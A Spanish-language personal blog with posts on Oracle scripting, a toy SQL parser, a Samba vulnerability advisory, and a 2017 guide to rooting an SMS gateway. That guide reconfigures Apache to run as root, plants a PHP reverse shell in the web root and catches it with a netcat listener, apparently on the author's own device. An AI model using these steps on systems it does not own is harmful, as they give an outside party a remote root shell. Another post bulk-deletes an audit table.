adhonig Blog
viernes, 19 de mayo de 2017
mod SMG4008
First, connect through console and reboot the device
Wait until boot message request "press [f] and [enter]", and press those keys to enter failsafe mode.
Locate the "/init" file, and watch the flash device
# cat /init | grep flash
mkdir -p /mnt/flash
mount -t yaffs2 /dev/mtdblock3 /mnt/flash
so, execute them to mount it manually.
edit the file /mnt/flash/init/S900usrcustom.sh and add:
sed -i 's/User daemon/User root/g' /usr/local/apache/conf/httpd.conf
sed -i 's/Group daemon/Group root/g' /usr/local/apache/conf/httpd.conf
cp /mnt/flash/php-reverse-shell.php /usr/local/apache/htdocs/
get the file: http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz, extract it,
edit the file and set your ip/port where the smsgateway will connect to (read http://pentestmonkey.net/tools/web-shells/php-reverse-shell)
and put in /mnt/flash/php-reverse-shell.php
reboot the device or wait until it reboots by itself
final step:
in your client box execute netcat where 1234 is the port you define in /mnt/flash/php-reverse-shell.php:
# nc -l 1234
In your browser execute:
http://sms_gateway_ip/php-reverse-shell.php and in your client box, you have root access!
So you can start improve the API.
I'm working with that
jueves, 22 de diciembre de 2016
Borrar tabla de auditoria
#/bin/bash i=1 f=25000 while [ $i -le $f ] do j=$(($i*1000)) k=$(($j+999)) p=$(($i*100/$f)) echo "$i : $j-$k : $p%" sqlplus -silent user/password << EOF set feedback off set define off delete from auditorias_columnas where audi_id between $j and $k; commit; exit; EOF i=$(($i+1)) done
lunes, 11 de noviembre de 2013
Diferencia de fecha de archivos entre carpetas ( FMB - FMX, RDF - REP, PLL - PLX )
' Script que tiene como objetivo comparar fechas
' entre los archivos fuentes y ejecutables en una
' estructura de programacion Oracle Form & Report
' Si pasa el limite de 2 minutos, el script envia un
' alerta
' Requerimientos:
' bmail.exe, es un emisor de mail SMTP via linea de comandos
' gratuido
MinutoLimiteDiferencia = 2
str_CarpetaFuente = "z:\"
str_CarpetaEjecutable = "s:\"
str_NombreFicheroSalida = "c:\sistema\log.txt"
num_cantidad = 0
Set obj_FileSystemObject = CreateObject("Scripting.FileSystemObject")
Set Command = WScript.CreateObject("WScript.Shell")
Set obj_FicheroSalida = obj_FileSystemObject.CreateTextFile(str_NombreFicheroSalida,True)
Set obj_CarpetaFuente = obj_FileSystemObject.GetFolder(str_CarpetaFuente)
Set obj_CarpetaEjecutable = obj_FileSystemObject.GetFolder(str_CarpetaEjecutable)
Set obj_FicherosFuente = obj_CarpetaFuente.Files
Set obj_FicherosEjecutables = obj_CarpetaEjecutable.Files
obj_FicheroSalida.Write "Fecha Inicio: " & Now() & vbCr
For Each obj_FicheroFuente in obj_FicherosFuente
FicheroFuente = UCase(obj_FileSystemObject.GetBaseName(obj_FicheroFuente))
ExtensionFuente = UCase(obj_FileSystemObject.GetExtensionName(obj_FicheroFuente))
For Each obj_FicheroEjecutable in obj_FicherosEjecutables
FicheroEjecutable = UCase(obj_FileSystemObject.GetBaseName(obj_FicheroEjecutable))
ExtensionEjecutable = UCase(obj_FileSystemObject.GetExtensionName(obj_FicheroEjecutable))
if FicheroFuente = FicheroEjecutable and ((ExtensionFuente="FMB" and ExtensionEjecutable = "FMX") or (ExtensionFuente="RDF" and ExtensionEjecutable = "REP") or (ExtensionFuente="PLL" and ExtensionEjecutable = "PLX")) then
v_diferencia = abs(DateDiff("n",obj_FicheroEjecutable.DateLastModified,obj_FicheroFuente.DateLastModified))
if v_diferencia >= MinutoLimiteDiferencia then
obj_FicheroSalida.Write "Los archivos " & obj_FicheroEjecutable.Name & " - " & obj_FicheroFuente.Name & " difieren en " & ToHuman(v_diferencia) & "." & vbCr
num_cantidad = num_cantidad + 1
end if
Exit for
end if
Next
Next
obj_FicheroSalida.Write "Total " & num_cantidad & " archivos con diferencias." & vbCr
obj_FicheroSalida.Write "Fecha Fin: " & Now() & vbCr
obj_FicheroSalida.Close
WScript.sleep 5000
Set obj_FicheroLog = obj_FileSystemObject.GetFile(str_NombreFicheroSalida)
LogSize = obj_FicheroLog.Size
If LogSize > 64 Then
MsgBox("Total " & num_cantidad & " archivos con diferencias.")
cmd = "c:\windows\system32\bmail.exe -s mail.dominio.com.py -p 25 -t informatica@dominio.com.py -f alerts@dominio.com.py -h -a 'Diferencia de Fuentes y Ejecutables' -m " & str_NombreFicheroSalida
Command.Run (cmd)
End If
Function ToHuman(p_minutos)
CambioUnidadTiempo = 0
if p_minutos >=60 then
UnidTiempoHoras = p_minutos/60
UnidadTiempo = " Horas"
CambioUnidadTiempo = 1
ToHuman=Int(UnidTiempoHoras) & UnidadTiempo
end if
if UnidTiempoHoras >=24 then
UnidTiempoDias = UnidTiempoHoras/24
UnidadTiempo = " Dias"
CambioUnidadTiempo = 1
ToHuman=Int(UnidTiempoDias) & UnidadTiempo
end if
if UnidTiempoDias >=30 then
UnidTiempoMeses = UnidTiempoDias/30
UnidadTiempo = " Meses"
CambioUnidadTiempo = 1
ToHuman=Int(UnidTiempoMeses) & UnidadTiempo
end if
if UnidTiempoMeses >=12 then
UnidTiempoAnos = UnidTiempoMeses/12
UnidadTiempo = " Anos"
CambioUnidadTiempo = 1
ToHuman=Int(UnidTiempoAnos) & UnidadTiempo
end if
if CambioUnidadTiempo = 0 then
UnidadTiempo = " Minutos"
ToHuman=p_minutos & UnidadTiempo
end if
End Function
martes, 14 de agosto de 2012
Todas las dependencias
DECLARE
v_type VARCHAR2(30) := 'FUNCTION';
v_object_name VARCHAR2(30);
BEGIN
dbms_output.put_line(' ' || ',' || ' ' || ',,,,,,,,,,' || 'SELECT' || ',' ||
'INSERT' || ',' || 'UPDATE' || ',' || 'DELETE' || ',' ||
'EXECUTE');
FOR level0 IN (SELECT obje.owner,
obje.object_name,
obje.object_type,
(CASE
WHEN obje.object_type IN ('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
decode(obje.object_type, 'TABLE', ' ', ' ') AS vinsert,
decode(obje.object_type, 'TABLE', ' ', ' ') AS vupdate,
decode(obje.object_type, 'TABLE', ' ', ' ') AS vdelete,
(CASE
WHEN obje.object_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_objects obje
WHERE obje.object_type = v_type
AND obje.owner = 'SIFICO2') LOOP
dbms_output.put_line(level0.owner || '.' || level0.object_name || ',' ||
level0.object_type || ',,,,,,,,,,' ||
level0.vselect || ',' || level0.vinsert || ',' ||
level0.vupdate || ',' || level0.vdelete || ',' ||
level0.vexecute);
FOR level1 IN (SELECT depe.referenced_owner,
depe.referenced_name,
depe.referenced_type,
(CASE
WHEN depe.referenced_type IN ('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe.referenced_type = 'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe.owner
AND sour.name = depe.name
AND sour.type = depe.type
AND sour.text LIKE '%INSERT%INTO%'
AND depe.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe.referenced_type = 'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe.owner
AND sour.name = depe.name
AND sour.type = depe.type
AND sour.text LIKE '%UPDATE%'
AND depe.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe.referenced_type = 'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe.owner
AND sour.name = depe.name
AND sour.type = depe.type
AND sour.text LIKE '%DELETE%'
AND depe.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe
WHERE depe.name = level0.object_name
AND depe.type = level0.object_type
AND depe.owner NOT IN ('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',' || level1.referenced_owner || '.' ||
level1.referenced_name || ',' ||
level1.referenced_type || ',,,,,,,,,' ||
level1.vselect || ',' || level1.vinsert || ',' ||
level1.vupdate || ',' || level1.vdelete || ',' ||
level1.vexecute);
FOR level2 IN (SELECT depe2.referenced_owner,
depe2.referenced_name,
depe2.referenced_type,
(CASE
WHEN depe2.referenced_type IN ('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe2.referenced_type = 'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe2.owner
AND sour.name = depe2.name
AND sour.type = depe2.type
AND sour.text LIKE '%INSERT%INTO%'
AND depe2.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe2.referenced_type = 'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe2.owner
AND sour.name = depe2.name
AND sour.type = depe2.type
AND sour.text LIKE '%UPDATE%'
AND depe2.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe2.referenced_type = 'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe2.owner
AND sour.name = depe2.name
AND sour.type = depe2.type
AND sour.text LIKE '%DELETE%'
AND depe2.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe2.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe2
WHERE depe2.name = level1.referenced_name
AND depe2.owner = level1.referenced_owner
AND depe2.type = level1.referenced_type
AND depe2.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,' || level2.referenced_owner || '.' ||
level2.referenced_name || ',' ||
level2.referenced_type || ',,,,,,,,' ||
level2.vselect || ',' || level2.vinsert || ',' ||
level2.vupdate || ',' || level2.vdelete || ',' ||
level2.vexecute);
FOR level3 IN (SELECT depe3.referenced_owner,
depe3.referenced_name,
depe3.referenced_type,
(CASE
WHEN depe3.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe3.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe3.owner
AND sour.name = depe3.name
AND sour.type = depe3.type
AND sour.text LIKE '%INSERT%INTO%'
AND depe3.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe3.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe3.owner
AND sour.name = depe3.name
AND sour.type = depe3.type
AND sour.text LIKE '%UPDATE%'
AND depe3.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe3.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe3.owner
AND sour.name = depe3.name
AND sour.type = depe3.type
AND sour.text LIKE '%DELETE%'
AND depe3.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe3.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe3
WHERE depe3.name = level2.referenced_name
AND depe3.owner = level2.referenced_owner
AND depe3.type = level2.referenced_type
AND depe3.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,' || level3.referenced_owner || '.' ||
level3.referenced_name || ',' ||
level3.referenced_type || ',,,,,,,' ||
level3.vselect || ',' || level3.vinsert || ',' ||
level3.vupdate || ',' || level3.vdelete || ',' ||
level3.vexecute);
FOR level4 IN (SELECT depe4.referenced_owner,
depe4.referenced_name,
depe4.referenced_type,
(CASE
WHEN depe4.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe4.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe4.owner
AND sour.name = depe4.name
AND sour.type = depe4.type
AND sour.text LIKE '%INSERT%INTO%'
AND depe4.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe4.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe4.owner
AND sour.name = depe4.name
AND sour.type = depe4.type
AND sour.text LIKE '%UPDATE%'
AND depe4.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe4.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe4.owner
AND sour.name = depe4.name
AND sour.type = depe4.type
AND sour.text LIKE '%DELETE%'
AND depe4.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe4.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe4
WHERE depe4.name = level3.referenced_name
AND depe4.owner = level3.referenced_owner
AND depe4.type = level3.referenced_type
AND depe4.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,,' || level4.referenced_owner || '.' ||
level4.referenced_name || ',' ||
level4.referenced_type || ',,,,,,' ||
level4.vselect || ',' || level4.vinsert || ',' ||
level4.vupdate || ',' || level4.vdelete || ',' ||
level4.vexecute);
FOR level5 IN (SELECT depe5.referenced_owner,
depe5.referenced_name,
depe5.referenced_type,
(CASE
WHEN depe5.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe5.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe5.owner
AND sour.name = depe5.name
AND sour.type = depe5.type
AND sour.text LIKE
'%INSERT%INTO%'
AND depe5.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe5.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe5.owner
AND sour.name = depe5.name
AND sour.type = depe5.type
AND sour.text LIKE '%UPDATE%'
AND depe5.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe5.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe5.owner
AND sour.name = depe5.name
AND sour.type = depe5.type
AND sour.text LIKE '%DELETE%'
AND depe5.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe5.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe5
WHERE depe5.name = level4.referenced_name
AND depe5.owner = level4.referenced_owner
AND depe5.type = level4.referenced_type
AND depe5.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,,,' || level5.referenced_owner || '.' ||
level5.referenced_name || ',' ||
level5.referenced_type || ',,,,,' ||
level5.vselect || ',' || level5.vinsert || ',' ||
level5.vupdate || ',' || level5.vdelete || ',' ||
level5.vexecute);
FOR level6 IN (SELECT depe6.referenced_owner,
depe6.referenced_name,
depe6.referenced_type,
(CASE
WHEN depe6.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe6.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe6.owner
AND sour.name = depe6.name
AND sour.type = depe6.type
AND sour.text LIKE
'%INSERT%INTO%'
AND depe6.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe6.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe6.owner
AND sour.name = depe6.name
AND sour.type = depe6.type
AND sour.text LIKE '%UPDATE%'
AND depe6.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe6.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe6.owner
AND sour.name = depe6.name
AND sour.type = depe6.type
AND sour.text LIKE '%DELETE%'
AND depe6.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe6.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe6
WHERE depe6.name = level5.referenced_name
AND depe6.owner = level5.referenced_owner
AND depe6.type = level5.referenced_type
AND depe6.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,,,,' || level6.referenced_owner || '.' ||
level6.referenced_name || ',' ||
level6.referenced_type || ',,,,' ||
level6.vselect || ',' ||
level6.vinsert || ',' ||
level6.vupdate || ',' ||
level6.vdelete || ',' ||
level6.vexecute);
FOR level7 IN (SELECT depe7.referenced_owner,
depe7.referenced_name,
depe7.referenced_type,
(CASE
WHEN depe7.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe7.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe7.owner
AND sour.name = depe7.name
AND sour.type = depe7.type
AND sour.text LIKE
'%INSERT%INTO%'
AND depe7.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe7.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe7.owner
AND sour.name = depe7.name
AND sour.type = depe7.type
AND sour.text LIKE '%UPDATE%'
AND depe7.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe7.referenced_type = 'TABLE' AND
EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner = depe7.owner
AND sour.name = depe7.name
AND sour.type = depe7.type
AND sour.text LIKE '%DELETE%'
AND depe7.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe7.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe7
WHERE depe7.name = level6.referenced_name
AND depe7.owner = level6.referenced_owner
AND depe7.type = level6.referenced_type
AND depe7.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,,,,,' || level7.referenced_type || ' ' ||
level7.referenced_owner || '.' ||
level7.referenced_name || ',,,' ||
level7.vselect || ',' ||
level7.vinsert || ',' ||
level7.vupdate || ',' ||
level7.vdelete || ',' ||
level7.vexecute);
FOR level8 IN (SELECT depe8.referenced_owner,
depe8.referenced_name,
depe8.referenced_type,
(CASE
WHEN depe8.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe8.referenced_type =
'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner =
depe8.owner
AND sour.name = depe8.name
AND sour.type = depe8.type
AND sour.text LIKE
'%INSERT%INTO%'
AND depe8.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe8.referenced_type =
'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner =
depe8.owner
AND sour.name = depe8.name
AND sour.type = depe8.type
AND sour.text LIKE
'%UPDATE%'
AND depe8.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe8.referenced_type =
'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner =
depe8.owner
AND sour.name = depe8.name
AND sour.type = depe8.type
AND sour.text LIKE
'%DELETE%'
AND depe8.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe8.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe8
WHERE depe8.name = level7.referenced_name
AND depe8.owner =
level7.referenced_owner
AND depe8.type = level7.referenced_type
AND depe8.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,,,,,,' ||
level8.referenced_owner || '.' ||
level8.referenced_name || ',' ||
level8.referenced_type || ',,' ||
level8.vselect || ',' ||
level8.vinsert || ',' ||
level8.vupdate || ',' ||
level8.vdelete || ',' ||
level8.vexecute);
FOR level9 IN (SELECT depe9.referenced_owner,
depe9.referenced_name,
depe9.referenced_type,
(CASE
WHEN depe9.referenced_type IN
('VIEW', 'TABLE') THEN
'X'
END) AS vselect,
(CASE
WHEN depe9.referenced_type =
'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner =
depe9.owner
AND sour.name =
depe9.name
AND sour.type =
depe9.type
AND sour.text LIKE
'%INSERT%INTO%'
AND depe9.referenced_name =
fc_insert_table_usage(sour.text)) THEN
'X'
END) AS vinsert,
(CASE
WHEN depe9.referenced_type =
'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner =
depe9.owner
AND sour.name =
depe9.name
AND sour.type =
depe9.type
AND sour.text LIKE
'%UPDATE%'
AND depe9.referenced_name =
fc_update_table_usage(sour.text)) THEN
'X'
END) AS vupdate,
(CASE
WHEN depe9.referenced_type =
'TABLE' AND EXISTS
(SELECT 1
FROM dba_source sour
WHERE sour.owner =
depe9.owner
AND sour.name =
depe9.name
AND sour.type =
depe9.type
AND sour.text LIKE
'%DELETE%'
AND depe9.referenced_name =
fc_delete_table_usage(sour.text)) THEN
'X'
END) AS vdelete,
(CASE
WHEN depe9.referenced_type IN
('PACKAGE',
'PACKAGE BODY',
'PROCEDURE',
'FUNCTION') THEN
'X'
END) AS vexecute
FROM all_dependencies depe9
WHERE depe9.name =
level8.referenced_name
AND depe9.owner =
level8.referenced_owner
AND depe9.type =
level8.referenced_type
AND depe9.referenced_owner NOT IN
('SIFICO', 'PUBLIC')
ORDER BY 1, 2) LOOP
dbms_output.put_line(',,,,,,,,' ||
level9.referenced_owner || '.' ||
level9.referenced_name || ',' ||
level9.referenced_type || ',' ||
level9.vselect || ',' ||
level9.vinsert || ',' ||
level9.vupdate || ',' ||
level9.vdelete || ',' ||
level9.vexecute);
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
END;
/
Saludos.
sábado, 26 de mayo de 2012
SQL Parser
Con este codigo se pueden extraer los privilegios y los objetos.
Les paso uno hecho en SL.
Ejemplo: sql_examples.sql
select * from tabla1;Ojala que les sirva.
select *
from tabla2
where columna1=1;
select columna1,columna2
,columna3
from tabla3;
select columna1, (select columna1 from tabla4) as columna2
from tabla5 tab
where exists (select 1 from tabla6 tab6 where tab.columna1 = tab6.columna3);
update tabla7 set columna1 = 1000;
delete from tabla8;
insert into tabla9 (columna1) values (1);
insert into tabla10 values (1,2,3);
-----------------------------
------ sql_parser.sl -----
-----------------------------
var
linea ="";
cant_lineas = 0;
nro_caracteres = 0;
v_caracter = "";
v_palabra = "";
cant_palabra_reservada = 0;
line_indice = 0;
const
ARCH_ENTRADA = "sql_examples.sql";
ARCH_SALIDA = "object.txt";
inicio
si ( not set_stdin (ARCH_ENTRADA) ) {
imprimir ("\nNo se pudo abrir el archivo "+ ARCH_ENTRADA);
terminar ("\nEl programa no puede continuar.");
}
set_ifs ("\n");
si ( not set_stdout (ARCH_SALIDA) ) {
terminar ("\nNo se pudo abrir el archivo "+ ARCH_SALIDA);
}
leer (linea);
mientras ( not eof() ) {
linea=upper(linea);
nro_caracteres=strlen(linea);
desde line_indice= 1 hasta nro_caracteres {
v_caracter = substr(linea,line_indice,1);
si ( v_palabra=='(SELECT') { v_palabra = 'SELECT';}
si ( es_delimitador_sr(v_caracter) ) {
si ( es_privilegio_sr(v_palabra) ) {
v_palabra = substr(lpad(' ', (cant_palabra_reservada - 1) * 3, '- ') + v_palabra, 1, 60);
imprimir("\n",v_palabra);
}
si ( cant_palabra_reservada > 0 ) {
v_palabra = substr(lpad(' ', (cant_palabra_reservada - 1) * 3, '- ') + v_palabra, 1, 60);
imprimir("\n",v_palabra);
dec(cant_palabra_reservada);
}
si ( es_palabra_clave_sr(v_palabra) ) {
inc(cant_palabra_reservada);
}
v_palabra = "";
sino
v_palabra = v_palabra+v_caracter;
}
}
leer(linea);
}
set_stdout("");
fin;
subrutina es_privilegio_sr(p_palabra : cadena) retorna logico
var
es_privilegio : logico;
privilegios : vector [4] cadena;
priv_indice : numerico;
inicio
privilegios = {'SELECT','INSERT','UPDATE','DELETE'};
desde priv_indice= 1 hasta alen(privilegios) {
si (p_palabra == privilegios[priv_indice]) {
es_privilegio = SI;
priv_indice = alen(privilegios);
sino
es_privilegio = NO;
}
}
retorna ( es_privilegio );
fin;
subrutina es_delimitador_sr(p_caracter : cadena) retorna logico
var
es_delimitador : logico;
delimitadores : vector [5] cadena;
deli_indice : numerico;
inicio
delimitadores = {';','/',')',',',' '};
desde deli_indice= 1 hasta alen(delimitadores) {
si ( p_caracter == delimitadores[deli_indice] ) {
es_delimitador = SI;
deli_indice=alen(delimitadores);
sino
es_delimitador = NO;
}
}
retorna ( es_delimitador );
fin;
subrutina es_palabra_clave_sr(p_clave : cadena) retorna logico
var
es_palabra_clave : logico;
palabra_clave : vector [3] cadena;
plcl_indice : numerico;
inicio
palabra_clave = {'UPDATE','FROM','INTO'};
desde plcl_indice= 1 hasta alen(palabra_clave) {
si (p_clave == palabra_clave[plcl_indice]) {
es_palabra_clave = SI;
plcl_indice = alen(palabra_clave);
sino
es_palabra_clave = NO;
}
}
retorna ( es_palabra_clave );
fin;
subrutina lpad(p_palabra:cadena; p_cantidad :numerico; p_caracter_rellenar: cadena) retorna cadena
var
indice : numerico;
v_cant_caracteres : numerico;
inicio
v_cant_caracteres = strlen(p_palabra);
desde indice = 1 hasta p_cantidad - v_cant_caracteres {
p_palabra = p_caracter_rellenar+p_palabra;
}
retorna p_palabra;
fin;
-----------------------------
------ object.txt --------
-----------------------------
SELECT
TABLA1
SELECT
TABLA2
SELECT
TABLA3
SELECT
SELECT
TABLA4
TABLA5
SELECT
TABLA6
UPDATE
DELETE
TABLA8
INSERT
TABLA9
INSERT
TABLA10
sábado, 14 de abril de 2012
Vulnerabilidad en SAMBA
Ejecución de código remoto en Samba (una vulnerabilidad "como las de antes")
----------------------------------------------------------------------------
Se ha anunciado una grave vulnerabilidad en Samba que podría permitir la ejecución remota de código como usuario root a través de una conexión anónima (sin autenticar). Samba es un software libre que permite compartir ficheros e impresoras entre cliente y servidor con diferentes sistemas operativos, tales como DOS, Microsoft Windows, OS/2, Linux, o MacOS, mediante el protocolo SMB/CIFS. Samba es ampliamente utilizado tanto entre particulares como por parte de empresas, y se encuentra en prácticamente la totalidad de las distribuciones Linux, y en un gran número de dispositivos con GNU/Linux en su interior.
La vulnerabilidad está causada por un error en el generador de código utilizado para empaquetar y desempaquetar las llamadas de procedimiento remoto (RPC) a través de la red. Este error se debe a la falta de comprobación de concordancia entre la variable que contiene la longitud de un array y la variable usada para reservar memoria para dicho array.
Un atacante remoto no autenticado podría explotar esta vulnerabilidad a través de una llamada RPC especialmente manipulada para lograr ejecutar código arbitrario en el servidor como usuario root. En la práctica, significa que con solo lanzar un comando contra un servidor Samba vulnerable en la red, se tendría total control sobre la máquina afectada. El error ha sido descubierto por el investigador Brian Gorenc y una persona anónima de Zero Day Initiative (ZDI) quienes, además, han demostrado su explotabilidad mediante una prueba de concepto. Se ha asignado el identificador CVE-2012-1182 a esta vulnerabilidad. Su gravedad es máxima, y recuerda a vulnerabilidades de otro tiempo, donde resultaban más comunes fallos de este tipo en una red mucho más insegura.
El fallo se encuentra en el código desde la versión 3.0.25 de Samba, de mayo de 2007. Lo que significa que lleva cinco años en el código fuente del programa. Aunque las distribuciones ya están publicando nuevos paquetes para actualizar Samba y corregir el fallo, se puede mitigar el problema para aquellos dispositivos o servidores que no puedan actualizar de inmediato. Es posible utilizar la opción "host allow" en el fichero de configuración smb.conf para restringir los clientes que pueden acceder, o hacerlo a través de un cortafuegos adicional. Para solucionar la vulnerabilidad, Samba ha lanzado las versiones 3.4.16, 3.5.14, y 3.6.4, así como parches para otras versiones más antiguas.
Se pueden descargar desde la página oficial.
Más información: "root" credential remote code execution.
http://www.samba.org/samba/
Samba Security Releases
martes, 3 de abril de 2012
Y proximamente los subtitulos de este y los demas capitulos!!